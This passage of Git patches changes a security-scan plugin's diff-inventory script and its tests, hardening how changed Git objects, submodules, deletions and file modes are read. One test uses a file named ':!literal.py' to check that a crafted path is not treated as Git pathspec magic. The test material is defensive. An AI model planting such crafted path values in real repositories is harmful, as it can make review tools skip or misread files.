encoding: "utf8", + input: Buffer.from([0, index + 1]), + }).trim(); + return `${mode} ${object} ${index + 1}\t${action}\n`; + }); + execFileSync("git", ["update-index", "--index-info"], { + cwd: fixture.repository, + input: `0 ${"0".repeat(40)}\t${action}\n${stages.join("")}`, + }); + + const [finding] = await runDiffRankInput(fixture, "local-patch"); + expect(finding?.preview).toContain("Git merge stage 2 (mode 100755):"); + expect(finding?.preview).toContain("(binary content)"); + }); + test.skipIf(process.platform === "win32")( "includes unstaged executable mode changes in local patch previews", async () => { @@ -686,6 +712,30 @@ describe("diff rank input", () => { `Git submodule commit ${revision}`, ); } + + const conflictingFile = execFileSync( + "git", + ["hash-object", "-w", "--stdin"], + { + cwd: fixture.repository, + encoding: "utf8", + input: "runs: conflicting file\n", + }, + ).trim(); + const mixedStages = [ + `160000 ${revisions[0]} 1\t${action}\n`, + `160000 ${revisions[1]} 2\t${action}\n`, + `100755 ${conflictingFile} 3\t${action}\n`, + ]; + execFileSync("git", ["update-index", "--index-info"], { + cwd: fixture.repository, + input: `0 ${"0".repeat(40)}\t${action}\n${mixedStages.join("")}`, + }); + + const [mixed] = await runDiffRankInput(fixture, "local-patch"); + expect(mixed?.preview).toContain("Git merge stage 3 (mode 100755):"); + expect(mixed?.preview).toContain("runs: conflicting file"); + expect(mixed?.preview).toContain(`Git submodule commit ${worktree}`); }); test("records unstaged local-action submodule revisions from their worktree", async () => { From aa55f4eaf03b3d36cd1b9d389b33ecfc04f994a0 Mon Sep 17 00:00:00 2001 From: Michael D'Angelo Date: Mon, 10 Aug 2026 15:25:33 -0700 Subject: [PATCH 40/46] fix: reject unreadable diff objects and preserve binary modes --- .../scripts/generate_rank_input.py | 51 +++++++++----- .../tests-ts/diff-rank-input.test.ts | 68 +++++++++++++++++++ 2 files changed, 101 insertions(+), 18 deletions(-) diff --git a/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py b/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py index 4411c20f..b047ad58 100644 --- a/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py +++ b/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py @@ -420,13 +420,13 @@ def git_blob_preview( stderr=subprocess.DEVNULL, ) as process: if process.stdout is None: - return "", False + raise OSError("Git did not provide object contents") data = process.stdout.read(DIRECT_SCOPE_PREVIEW_READ_BYTES) process.stdout.close() if process.returncode and len(data) < DIRECT_SCOPE_PREVIEW_READ_BYTES: - return "", False - except (OSError, ValueError): - return "", False + raise OSError("Git could not read the requested object") + except (OSError, ValueError) as error: + raise SystemExit(f"Could not read changed Git object: {object_name}") from error return diff_preview_data(path, data, preview_bytes) @@ -486,7 +486,9 @@ def submodule_worktree_revision(repo: Path, path: Path) -> str | None: return lines[1] if len(lines) == 2 and Path(lines[0]).resolve() == path.resolve() else None -def unmerged_diff_preview(repo: Path, path: Path, preview_bytes: int) -> str: +def unmerged_diff_preview( + repo: Path, path: Path, preview_bytes: int, *, track_worktree_filemode: bool +) -> str: relative = path.relative_to(repo).as_posix() result = subprocess.run( ["git", "--no-replace-objects", "--literal-pathspecs", "-C", str(repo), "ls-files", "--stage", "-z", "--", relative], @@ -503,6 +505,7 @@ def unmerged_diff_preview(repo: Path, path: Path, preview_bytes: int) -> str: raise SystemExit("Git returned an unexpected changed path: " + recorded_path) entries.append(metadata.split()) directory_conflict = path.is_dir() and any(mode == "160000" for mode, _, _ in entries) + directory_revision = None if directory_conflict: try: if path.is_symlink() or (path.exists() and not path.is_dir()): @@ -511,6 +514,9 @@ def unmerged_diff_preview(repo: Path, path: Path, preview_bytes: int) -> str: path.resolve(strict=True).relative_to(repo) except (OSError, ValueError): raise SystemExit("Changed diff paths must not contain symbolic links: " + relative) + directory_revision = submodule_worktree_revision(repo, path) + if directory_revision is None: + raise SystemExit("Conflicted Git submodules must be initialized: " + relative) else: require_reviewable_diff_path(repo, path, reject_hard_links=True) @@ -526,13 +532,14 @@ def unmerged_diff_preview(repo: Path, path: Path, preview_bytes: int) -> str: lines.extend((stage_header, "(binary content)" if binary else preview)) if directory_conflict: - worktree = submodule_worktree_revision(repo, path) - if worktree is not None and all(worktree != revision for _, revision, _ in entries): - lines.extend(("Worktree:", f"Git submodule commit {worktree}")) + if all(directory_revision != revision for _, revision, _ in entries): + lines.extend(("Worktree:", f"Git submodule commit {directory_revision}")) else: current, binary = confined_diff_preview(repo, path, preview_bytes) - if current and not binary: - lines.extend(("Worktree:", current)) + if current or binary: + mode = "100755" if path.stat().st_mode & 0o111 else "100644" + heading = f"Worktree (mode {mode}):" if track_worktree_filemode else "Worktree:" + lines.extend((heading, "(binary content)" if binary else current)) require_reviewable_diff_path(repo, path, reject_hard_links=True) return fit_preview_lines(lines, preview_bytes) @@ -984,7 +991,12 @@ def make_diff_rank_input(args: argparse.Namespace) -> None: if is_binary: continue elif status == "U": - preview = unmerged_diff_preview(repo, path, args.preview_bytes) + preview = unmerged_diff_preview( + repo, + path, + args.preview_bytes, + track_worktree_filemode=track_worktree_filemode, + ) else: entry = git_diff_entry(repo, path, args.mode, args.head) if entry is not None and entry[0] == "160000": @@ -1005,9 +1017,8 @@ def make_diff_rank_input(args: argparse.Namespace) -> None: require_reviewable_diff_path( repo, path, reject_hard_links=args.mode == "local-patch" ) - if is_binary: - continue base_entry = git_diff_entry(repo, path, "revisions", args.base) + changes: list[str] = [] if ( base_entry is not None and entry is not None @@ -1024,11 +1035,15 @@ def make_diff_rank_input(args: argparse.Namespace) -> None: for index, mode in enumerate(modes) if index == 0 or mode != modes[index - 1] ] - if len(changes) > 1: - preview = fit_preview_lines( - [f"Git file mode: {' → '.join(changes)}", preview], - args.preview_bytes, - ) + if is_binary: + if len(changes) <= 1 and (entry is None or entry[0] != "100755"): + continue + preview = "(binary content)" + if len(changes) > 1: + preview = fit_preview_lines( + [f"Git file mode: {' → '.join(changes)}", preview], + args.preview_bytes, + ) rows.append({"path": rel.as_posix(), "area": args.area, "preview": preview}) rows.sort(key=lambda row: str(row["path"])) diff --git a/sdk/typescript/tests-ts/diff-rank-input.test.ts b/sdk/typescript/tests-ts/diff-rank-input.test.ts index 18abfab5..8e019b43 100644 --- a/sdk/typescript/tests-ts/diff-rank-input.test.ts +++ b/sdk/typescript/tests-ts/diff-rank-input.test.ts @@ -407,6 +407,44 @@ describe("diff rank input", () => { const [finding] = await runDiffRankInput(fixture, "local-patch"); expect(finding?.preview).toContain("Git merge stage 2 (mode 100755):"); expect(finding?.preview).toContain("(binary content)"); + + await writeRepositoryFile( + fixture.repository, + action, + Buffer.from([0, 0x45, 0x4c, 0x46]), + ); + if (process.platform !== "win32") { + await chmod(join(fixture.repository, action), 0o755); + } + const [resolution] = await runDiffRankInput(fixture, "local-patch"); + const heading = + process.platform === "win32" ? "Worktree:" : "Worktree (mode 100755):"; + expect(resolution?.preview).toContain(`${heading}\n(binary content)`); + }); + + test("keeps executable mode changes for binary local actions", async () => { + const fixture = await createRepository(); + const action = ".github/actions/local/tool"; + await writeRepositoryFile( + fixture.repository, + action, + Buffer.from([0x7f, 0x45, 0x4c, 0x46, 0]), + ); + git(fixture.repository, "add", action); + git( + fixture.repository, + "commit", + "-qm", + "add non-executable binary action", + ); + fixture.base = git(fixture.repository, "rev-parse", "HEAD"); + git(fixture.repository, "update-index", "--chmod=+x", action); + git(fixture.repository, "commit", "-qm", "make binary action executable"); + + const [finding] = await runDiffRankInput(fixture, "revisions"); + expect(finding?.path).toBe(action); + expect(finding?.preview).toContain("Git file mode: 100644 → 100755"); + expect(finding?.preview).toContain("(binary content)"); }); test.skipIf(process.platform === "win32")( @@ -705,6 +743,9 @@ describe("diff rank input", () => { const submodule = join(fixture.repository, action); await mkdir(submodule, { recursive: true }); + await expect(runDiffRankInput(fixture, "local-patch")).rejects.toThrow( + /must be initialized/, + ); git(submodule, "init", "-q", "-b", "main"); git(submodule, "config", "user.name", "Codex Security Test"); git(submodule, "config", "user.email", "codex-security@example.invalid"); @@ -747,6 +788,33 @@ describe("diff rank input", () => { expect(mixed?.preview).toContain(`Git submodule commit ${worktree}`); }); + test("rejects unreadable objects in unresolved executable stages", async () => { + const fixture = await createRepository(); + const action = ".github/actions/local/run.sh"; + await writeRepositoryFile(fixture.repository, action, "run safe\n"); + git(fixture.repository, "add", action); + git(fixture.repository, "commit", "-qm", "add local action"); + fixture.base = git(fixture.repository, "rev-parse", "HEAD"); + const valid = execFileSync("git", ["hash-object", "-w", "--stdin"], { + cwd: fixture.repository, + encoding: "utf8", + input: "run valid\n", + }).trim(); + const stages = [ + `100644 ${valid} 1\t${action}\n`, + `100755 ${"f".repeat(40)} 2\t${action}\n`, + `100644 ${valid} 3\t${action}\n`, + ]; + execFileSync("git", ["update-index", "--index-info"], { + cwd: fixture.repository, + input: `0 ${"0".repeat(40)}\t${action}\n${stages.join("")}`, + }); + + await expect(runDiffRankInput(fixture, "local-patch")).rejects.toThrow( + /Could not read changed Git object/, + ); + }); + test("records unstaged local-action submodule revisions from their worktree", async () => { const fixture = await createRepository(); const submodule = join(fixture.repository, ".github", "actions", "local"); From 32c9ef1a5a3da0e0500f0bd3041887b5be24fd0d Mon Sep 17 00:00:00 2001 From: Michael D'Angelo Date: Mon, 10 Aug 2026 15:33:35 -0700 Subject: [PATCH 41/46] fix(diff): require literal paths for indexed Git lookups --- .../scripts/generate_rank_input.py | 7 +++++-- .../tests-ts/diff-rank-input.test.ts | 20 +++++++++++++++++++ 2 files changed, 25 insertions(+), 2 deletions(-) diff --git a/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py b/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py index b047ad58..84d9bdb0 100644 --- a/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py +++ b/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py @@ -552,14 +552,17 @@ def git_diff_entry(repo: Path, path: Path, mode: str, head: str) -> tuple[str, s else ["ls-files", "--stage", "-z", "--", relative] ) result = subprocess.run( - ["git", "--no-replace-objects", "-C", str(repo), *arguments], + ["git", "--no-replace-objects", "--literal-pathspecs", "-C", str(repo), *arguments], check=True, capture_output=True, text=True, ) if not result.stdout: return None - fields = result.stdout.split("\0", 1)[0].split("\t", 1)[0].split() + entry, recorded_path = result.stdout.split("\0", 1)[0].split("\t", 1) + if recorded_path != relative: + raise SystemExit(f"Git returned an unexpected changed path: {recorded_path}") + fields = entry.split() revision = fields[2] if mode == "revisions" else fields[1] if mode == "local-patch" and fields[0] == "160000" and path.is_dir(): worktree = submodule_worktree_revision(repo, path) diff --git a/sdk/typescript/tests-ts/diff-rank-input.test.ts b/sdk/typescript/tests-ts/diff-rank-input.test.ts index 8e019b43..4219ecc7 100644 --- a/sdk/typescript/tests-ts/diff-rank-input.test.ts +++ b/sdk/typescript/tests-ts/diff-rank-input.test.ts @@ -163,6 +163,26 @@ async function runDiffRankInput( } describe("diff rank input", () => { + test("treats changed tree paths as literal Git pathspecs", async () => { + if (process.platform === "win32") return; + + const fixture = await createRepository(); + const path = ":!literal.py"; + await writeRepositoryFile(fixture.repository, path, "print('committed')\n"); + git(fixture.repository, "--literal-pathspecs", "add", "--", path); + git(fixture.repository, "commit", "-qm", "add literal path"); + + expect( + (await runDiffRankInput(fixture, "revisions")).map((row) => row.path), + ).toContain(path); + + await writeRepositoryFile(fixture.repository, path, "print('staged')\n"); + git(fixture.repository, "--literal-pathspecs", "add", "--", path); + expect( + (await runDiffRankInput(fixture, "local-patch")).map((row) => row.path), + ).toContain(path); + }); + test("inventories committed security-sensitive workflows, containers, and agent instructions", async () => { const fixture = await createRepository(); const files: Record = { From bb03bfb54c33cb25a8a793e1ade5d08b3b947de6 Mon Sep 17 00:00:00 2001 From: Michael D'Angelo Date: Mon, 10 Aug 2026 16:32:48 -0700 Subject: [PATCH 42/46] fix(scan): verify complete diff inventory boundaries --- .../scripts/generate_rank_input.py | 56 ++++++++++++++----- .../references/scan-artifacts-and-ledger.md | 2 +- 2 files changed, 44 insertions(+), 14 deletions(-) diff --git a/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py b/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py index 84d9bdb0..0dcb36b0 100644 --- a/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py +++ b/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py @@ -422,8 +422,10 @@ def git_blob_preview( if process.stdout is None: raise OSError("Git did not provide object contents") data = process.stdout.read(DIRECT_SCOPE_PREVIEW_READ_BYTES) + while process.stdout.read(DIRECT_SCOPE_PREVIEW_READ_BYTES): + pass process.stdout.close() - if process.returncode and len(data) < DIRECT_SCOPE_PREVIEW_READ_BYTES: + if process.returncode: raise OSError("Git could not read the requested object") except (OSError, ValueError) as error: raise SystemExit(f"Could not read changed Git object: {object_name}") from error @@ -446,7 +448,7 @@ def local_patch_preview( relative = path.relative_to(repo).as_posix() comparison = subprocess.run( - ["git", "--no-replace-objects", "-C", str(repo), "diff", "--quiet", "--no-ext-diff", "--", relative], + ["git", "--no-replace-objects", "--literal-pathspecs", "-C", str(repo), "diff", "--quiet", "--no-ext-diff", "--", relative], check=False, stdout=subprocess.DEVNULL, stderr=subprocess.PIPE, @@ -464,7 +466,8 @@ def local_patch_preview( "Staged Git index:", staged_preview or "(binary content)", "Worktree:", - worktree_preview or "(binary content)", + worktree_preview + or ("(deleted)" if not path.exists() else "(binary content)"), ], preview_bytes, ) @@ -474,16 +477,33 @@ def local_patch_preview( def submodule_worktree_revision(repo: Path, path: Path) -> str | None: try: path.resolve(strict=True).relative_to(repo) - result = subprocess.run( - ["git", "--no-replace-objects", "-C", str(path), "rev-parse", "--show-toplevel", "--verify", "HEAD"], + top_level = subprocess.run( + ["git", "--no-replace-objects", "-C", str(path), "rev-parse", "--show-toplevel"], + check=True, + capture_output=True, + text=True, + ) + revision = subprocess.run( + ["git", "--no-replace-objects", "-C", str(path), "rev-parse", "--verify", "HEAD"], check=True, capture_output=True, text=True, ) except (OSError, ValueError, subprocess.CalledProcessError): return None - lines = result.stdout.splitlines() - return lines[1] if len(lines) == 2 and Path(lines[0]).resolve() == path.resolve() else None + if Path(top_level.stdout.removesuffix("\n")).resolve() != path.resolve(): + return None + try: + changed = subprocess.run( + ["git", "--no-replace-objects", "-C", str(path), "status", "--porcelain", "-z", "--untracked-files=all"], + check=True, + capture_output=True, + ).stdout + except (OSError, subprocess.CalledProcessError) as error: + raise SystemExit("Could not inspect Git submodule worktree: " + str(path)) from error + if changed: + raise SystemExit("Dirty Git submodules must be reviewed separately: " + str(path)) + return revision.stdout.strip() def unmerged_diff_preview( @@ -564,10 +584,13 @@ def git_diff_entry(repo: Path, path: Path, mode: str, head: str) -> tuple[str, s raise SystemExit(f"Git returned an unexpected changed path: {recorded_path}") fields = entry.split() revision = fields[2] if mode == "revisions" else fields[1] - if mode == "local-patch" and fields[0] == "160000" and path.is_dir(): - worktree = submodule_worktree_revision(repo, path) - if worktree is not None and revision != worktree: - revision = f"{revision} (staged); {worktree} (worktree)" + if mode == "local-patch" and fields[0] == "160000": + if path.is_symlink() or (path.exists() and not path.is_dir()): + raise SystemExit("Changed diff paths must not contain symbolic links: " + relative) + if path.is_dir(): + worktree = submodule_worktree_revision(repo, path) + if worktree is not None and revision != worktree: + revision = f"{revision} (staged); {worktree} (worktree)" return fields[0], revision @@ -954,7 +977,9 @@ def git_changed_paths(repo: Path, base: str, head: str, mode: str) -> list[tuple staged = run_git_changed_paths(repo, ["--cached", base]) combined = dict(staged) for path, status in unstaged: - if combined.get(path) != "U": + if combined.get(path) != "U" and not ( + status == "D" and combined.get(path) not in (None, "D") + ): combined[path] = status return sorted(combined.items()) raise SystemExit(f"Unknown diff mode: {mode}") @@ -992,7 +1017,12 @@ def make_diff_rank_input(args: argparse.Namespace) -> None: repo, path, args.base, args.preview_bytes ) if is_binary: - continue + if entry is None or entry[0] != "100755": + continue + preview = fit_preview_lines( + [f"Deleted Git file (mode {entry[0]}):", "(binary content)"], + args.preview_bytes, + ) elif status == "U": preview = unmerged_diff_preview( repo, diff --git a/sdk/typescript/_bundled_plugin/skills/security-scan/references/scan-artifacts-and-ledger.md b/sdk/typescript/_bundled_plugin/skills/security-scan/references/scan-artifacts-and-ledger.md index 5f0b1131..4d03aad0 100644 --- a/sdk/typescript/_bundled_plugin/skills/security-scan/references/scan-artifacts-and-ledger.md +++ b/sdk/typescript/_bundled_plugin/skills/security-scan/references/scan-artifacts-and-ledger.md @@ -58,7 +58,7 @@ The parent agent must reconcile validation and attack-path subagent outputs befo - Use `deep_review_input.jsonl` as the canonical changed-file review worklist for diff scans. - For diff-scoped scans, generate `rank_input.jsonl` deterministically from changed source-like files with ` /scripts/generate_rank_input.py make-diff-rank-input --repo --base --mode revisions --head --out /rank_input.jsonl` for PR, commit, and branch diffs, or ` /scripts/generate_rank_input.py make-diff-rank-input --repo --base --mode local-patch --out /rank_input.jsonl` for a local patch, then copy every row into `deep_review_input.jsonl` with ` /scripts/generate_rank_input.py copy-deep-review-input --rank-input /rank_input.jsonl --out /deep_review_input.jsonl`. - Diff-scoped scans do not rank or drop changed files before deep review. Every row in diff `rank_input.jsonl` must be copied into `deep_review_input.jsonl` and receive a full-file review receipt. -- Use `--no-replace-objects` for every Git object read, including revision-mode files, local-patch index stages, and submodule pins. Read existing revision-mode files from the selected head and deleted files from the base. Pass repository-controlled paths as process arguments; never interpolate them into a shell command. For local patches, review each recorded index stage, the worktree, and any differing submodule pins. +- Use `--no-replace-objects` for every Git object read, including revision-mode files, local-patch index stages, and submodule pins. Use `--literal-pathspecs` for every repository-controlled Git pathspec and verify returned paths before reading their contents. Read existing revision-mode files from the selected head and deleted files from the base. Pass repository-controlled paths as process arguments; never interpolate them into a shell command. For local patches, review each recorded index stage, the worktree, and any differing submodule pins. - Add directly supporting files required to understand the changed security behavior only when repository evidence shows they are needed; record the add-back reason in the work ledger or per-file result. - Deep-review every file selected into `deep_review_input.jsonl`. - Use `/work_ledger.jsonl` as the append-only record of claims and completions, and reconcile it against `deep_review_input.jsonl` so rows are not skipped or double-counted. From 2abe21376da74d408bea871590aa1cc62552add7 Mon Sep 17 00:00:00 2001 From: Michael D'Angelo Date: Mon, 10 Aug 2026 18:23:24 -0700 Subject: [PATCH 43/46] fix(scan): verify staged Git objects and deletions --- .../scripts/generate_rank_input.py | 37 ++++++++++++++++--- .../tests-ts/diff-rank-input.test.ts | 14 +++++++ 2 files changed, 46 insertions(+), 5 deletions(-) diff --git a/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py b/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py index 0dcb36b0..59bc3779 100644 --- a/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py +++ b/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py @@ -414,6 +414,26 @@ def git_blob_preview( repo: Path, path: Path, object_name: str, preview_bytes: int ) -> tuple[str, bool]: try: + description = subprocess.run( + [ + "git", + "--no-replace-objects", + "-C", + str(repo), + "cat-file", + "--batch-check=%(objectname) %(objecttype) %(objectsize)", + "-Z", + ], + input=os.fsencode(object_name) + b"\0", + check=True, + capture_output=True, + ).stdout.removesuffix(b"\0") + expected, object_type, size = description.split(b" ") + algorithm = {40: "sha1", 64: "sha256"}.get(len(expected)) + if object_type != b"blob" or algorithm is None or int(size) < 0: + raise ValueError("Git did not identify a supported blob object") + digest = hashlib.new(algorithm) + digest.update(b"blob " + size + b"\0") with subprocess.Popen( ["git", "--no-replace-objects", "-C", str(repo), "cat-file", "blob", object_name], stdout=subprocess.PIPE, @@ -422,12 +442,13 @@ def git_blob_preview( if process.stdout is None: raise OSError("Git did not provide object contents") data = process.stdout.read(DIRECT_SCOPE_PREVIEW_READ_BYTES) - while process.stdout.read(DIRECT_SCOPE_PREVIEW_READ_BYTES): - pass + digest.update(data) + while chunk := process.stdout.read(DIRECT_SCOPE_PREVIEW_READ_BYTES): + digest.update(chunk) process.stdout.close() - if process.returncode: + if process.returncode or digest.hexdigest().encode("ascii") != expected: raise OSError("Git could not read the requested object") - except (OSError, ValueError) as error: + except (OSError, ValueError, subprocess.CalledProcessError) as error: raise SystemExit(f"Could not read changed Git object: {object_name}") from error return diff_preview_data(path, data, preview_bytes) @@ -458,7 +479,7 @@ def local_patch_preview( if comparison.returncode != 1: raise SystemExit(f"Could not compare staged and working-tree contents: {relative}") - staged_preview, staged_binary = git_blob_preview(repo, path, f":{relative}", preview_bytes) + staged_preview, staged_binary = git_blob_preview(repo, path, entry[1], preview_bytes) if staged_binary and worktree_binary: return "", True preview = fit_preview_lines( @@ -1009,6 +1030,12 @@ def make_diff_rank_input(args: argparse.Namespace) -> None: continue if status == "D": + if args.mode == "local-patch" and (path.exists() or path.is_symlink()): + require_reviewable_diff_path(repo, path, reject_hard_links=True) + raise SystemExit( + "Deleted Git paths must not have working-tree replacements: " + + rel.as_posix() + ) entry = git_diff_entry(repo, path, "revisions", args.base) if entry is not None and entry[0] == "160000": preview = f"Deleted Git submodule commit {entry[1]}" diff --git a/sdk/typescript/tests-ts/diff-rank-input.test.ts b/sdk/typescript/tests-ts/diff-rank-input.test.ts index 4219ecc7..1fa3c7ba 100644 --- a/sdk/typescript/tests-ts/diff-rank-input.test.ts +++ b/sdk/typescript/tests-ts/diff-rank-input.test.ts @@ -949,6 +949,20 @@ describe("diff rank input", () => { expect(rows[0]?.preview).toContain("worktreeSafeCommand"); }); + test("rejects recreated working-tree files after staged deletions", async () => { + const fixture = await createRepository(); + git(fixture.repository, "rm", "--quiet", "--", "src/remove.py"); + await writeRepositoryFile( + fixture.repository, + "src/remove.py", + "print('working-tree replacement')\n", + ); + + await expect(runDiffRankInput(fixture, "local-patch")).rejects.toThrow( + /Deleted Git paths must not have working-tree replacements/, + ); + }); + test.skipIf(process.platform === "win32")( "refuses repository paths escaping through a symlinked parent", async () => { From d878176ba1be26f97d26f77354eb43b9b1fae02e Mon Sep 17 00:00:00 2001 From: Michael D'Angelo Date: Mon, 10 Aug 2026 22:44:14 -0700 Subject: [PATCH 44/46] fix(scan): keep CI changes and staged deletions in diff reviews --- .../scripts/generate_rank_input.py | 21 ++++++++++++-- .../tests-ts/diff-rank-input.test.ts | 29 +++++++++++++++++++ 2 files changed, 48 insertions(+), 2 deletions(-) diff --git a/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py b/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py index 59bc3779..d343e6ed 100644 --- a/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py +++ b/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py @@ -141,6 +141,7 @@ SECURITY_RELEVANT_GITHUB_DIFF_DIRECTORIES = { "actions", + "instructions", "scripts", "workflows", } @@ -351,7 +352,22 @@ def diff_path_is_included(path: Path) -> bool: return ".git" not in path.parts if diff_path_is_security_relevant(path): return not any( - part in EXCLUDED_DIRS and part not in {".github", ".circleci", ".devcontainer"} + part in EXCLUDED_DIRS + and part + not in { + ".github", + ".circleci", + ".devcontainer", + "build", + "build_config", + "build_configs", + "build-tools", + "build_tools", + "ci", + "test", + "tests", + "testing", + } for part in path.parts ) return not path_is_excluded(path) @@ -955,6 +971,7 @@ def run_git_changed_paths(repo: Path, diff_args: list[str]) -> list[tuple[Path, "-C", str(repo), "diff", + "--ignore-submodules=none", "--name-status", "-z", "--diff-filter=ACMRDTU", @@ -1086,7 +1103,7 @@ def make_diff_rank_input(args: argparse.Namespace) -> None: and entry[0].startswith("100") ): modes = [base_entry[0], entry[0]] - if track_worktree_filemode: + if track_worktree_filemode and path.exists(): worktree_mode = "100755" if path.stat().st_mode & 0o111 else "100644" if worktree_mode != modes[-1]: modes.append(worktree_mode) diff --git a/sdk/typescript/tests-ts/diff-rank-input.test.ts b/sdk/typescript/tests-ts/diff-rank-input.test.ts index 1fa3c7ba..16f5e7b1 100644 --- a/sdk/typescript/tests-ts/diff-rank-input.test.ts +++ b/sdk/typescript/tests-ts/diff-rank-input.test.ts @@ -186,6 +186,7 @@ describe("diff rank input", () => { test("inventories committed security-sensitive workflows, containers, and agent instructions", async () => { const fixture = await createRepository(); const files: Record = { + ".circleci/build/release.yml": "jobs:\n release: {}\n", ".circleci/config.yml": "version: 2.1\njobs: {}\n", ".devcontainer/devcontainer.json": '{"postCreateCommand":"npm run setup"}\n', @@ -198,11 +199,15 @@ describe("diff rank input", () => { "Review changes before running code.\n", ".github/dependabot.yml": "version: 2\nupdates: []\n", ".github/ISSUE_TEMPLATE/bug.yml": "name: Bug report\n", + ".github/instructions/security.instructions.md": + "Review authentication changes before execution.\n", + ".github/scripts/ci/check.py": "print('review CI checks')\n", ".github/scripts/security.py": "print('review first-party changes')\n", ".github/workflows/security.yml": "name: Security\non: pull_request\n", ".github/workflows/scripts/check.py": "print('check workflow')\n", ".env.example": "AUTH_PROVIDER=example\n", "AGENTS.md": "Require authorization before exposing credentials.\n", + "build/Dockerfile": "FROM scratch\n", "CLAUDE.md": "Keep repository credentials private.\n", CODEOWNERS: "* @repository-owners\n", "SECURITY.md": "Do not suppress authentication or credential findings.\n", @@ -228,6 +233,7 @@ describe("diff rank input", () => { "services/api/app.Dockerfile": "FROM node:24-alpine\n", "src/app.ts": "export const value = 2;\n", "src/auth.cjs": "module.exports = { authenticated: true };\n", + "tests/Dockerfile": "FROM node:24-alpine\n", "vendor/Dockerfile": "FROM external-vendor\n", "vendor/dependency.py": "print('vendored dependency')\n", }; @@ -253,6 +259,7 @@ describe("diff rank input", () => { expect(rows.map((row) => row.path)).toEqual( [ + ".circleci/build/release.yml", ".circleci/config.yml", ".devcontainer/devcontainer.json", ".dockerignore", @@ -262,11 +269,14 @@ describe("diff rank input", () => { ".github/CODEOWNERS", ".github/copilot-instructions.md", ".github/dependabot.yml", + ".github/instructions/security.instructions.md", + ".github/scripts/ci/check.py", ".github/scripts/security.py", ".github/workflows/security.yml", ".github/workflows/scripts/check.py", ".env.example", "AGENTS.md", + "build/Dockerfile", "CLAUDE.md", "CODEOWNERS", "SECURITY.md", @@ -287,6 +297,7 @@ describe("diff rank input", () => { "services/api/app.Dockerfile", "src/app.ts", "src/auth.cjs", + "tests/Dockerfile", ].sort(), ); expect(rows.every((row) => row.area === "diff")).toBe(true); @@ -856,6 +867,7 @@ describe("diff rank input", () => { ); git(fixture.repository, "commit", "-qm", "pin local action"); fixture.base = git(fixture.repository, "rev-parse", "HEAD"); + git(fixture.repository, "config", "diff.ignoreSubmodules", "all"); await writeRepositoryFile(submodule, "action.yml", "runs: updated\n"); git(submodule, "add", "action.yml"); git(submodule, "commit", "-qm", "update action"); @@ -1124,6 +1136,23 @@ describe("diff rank input", () => { ]); }); + test("keeps staged source when its working-tree copy has been removed", async () => { + const fixture = await createRepository(); + await writeRepositoryFile( + fixture.repository, + "src/app.ts", + "export const value = 2;\n", + ); + git(fixture.repository, "add", "--", "src/app.ts"); + await rm(join(fixture.repository, "src", "app.ts")); + + const rows = await runDiffRankInput(fixture, "local-patch"); + expect(rows).toHaveLength(1); + expect(rows[0]?.path).toBe("src/app.ts"); + expect(rows[0]?.preview).toContain("value = 2"); + expect(rows[0]?.preview).toContain("(deleted)"); + }); + test("continues to exclude binary files and ignored dependency directories", async () => { const fixture = await createRepository(); await Promise.all([ From 50f4a96741920077268d3660cf25121ca90769d4 Mon Sep 17 00:00:00 2001 From: Michael D'Angelo Date: Mon, 10 Aug 2026 23:03:41 -0700 Subject: [PATCH 45/46] fix(diff): preserve type transitions and confine gitlinks --- .../scripts/generate_rank_input.py | 24 ++++++++ .../tests-ts/diff-rank-input.test.ts | 59 +++++++++++++++++++ 2 files changed, 83 insertions(+) diff --git a/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py b/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py index d343e6ed..02f91baf 100644 --- a/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py +++ b/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py @@ -625,6 +625,12 @@ def git_diff_entry(repo: Path, path: Path, mode: str, head: str) -> tuple[str, s if path.is_symlink() or (path.exists() and not path.is_dir()): raise SystemExit("Changed diff paths must not contain symbolic links: " + relative) if path.is_dir(): + try: + resolve_scope(repo, str(path), expand_user=False, reject_symlinks=True) + except SystemExit as error: + raise SystemExit( + "Changed diff paths must not contain symbolic links: " + relative + ) from error worktree = submodule_worktree_revision(repo, path) if worktree is not None and revision != worktree: revision = f"{revision} (staged); {worktree} (worktree)" @@ -1078,6 +1084,19 @@ def make_diff_rank_input(args: argparse.Namespace) -> None: entry = git_diff_entry(repo, path, args.mode, args.head) if entry is not None and entry[0] == "160000": preview = f"Git submodule commit {entry[1]}" + base_entry = git_diff_entry(repo, path, "revisions", args.base) + if base_entry is not None and base_entry[0].startswith("100"): + previous, binary = git_blob_preview( + repo, path, base_entry[1], args.preview_bytes + ) + preview = fit_preview_lines( + [ + f"Previous Git file (mode {base_entry[0]}):", + "(binary content)" if binary else previous, + preview, + ], + args.preview_bytes, + ) else: if entry is not None and entry[0] == "120000": raise SystemExit( @@ -1095,6 +1114,11 @@ def make_diff_rank_input(args: argparse.Namespace) -> None: repo, path, reject_hard_links=args.mode == "local-patch" ) base_entry = git_diff_entry(repo, path, "revisions", args.base) + if base_entry is not None and base_entry[0] == "160000": + preview = fit_preview_lines( + [f"Previous Git submodule commit {base_entry[1]}", preview], + args.preview_bytes, + ) changes: list[str] = [] if ( base_entry is not None diff --git a/sdk/typescript/tests-ts/diff-rank-input.test.ts b/sdk/typescript/tests-ts/diff-rank-input.test.ts index 16f5e7b1..96ba81b1 100644 --- a/sdk/typescript/tests-ts/diff-rank-input.test.ts +++ b/sdk/typescript/tests-ts/diff-rank-input.test.ts @@ -740,6 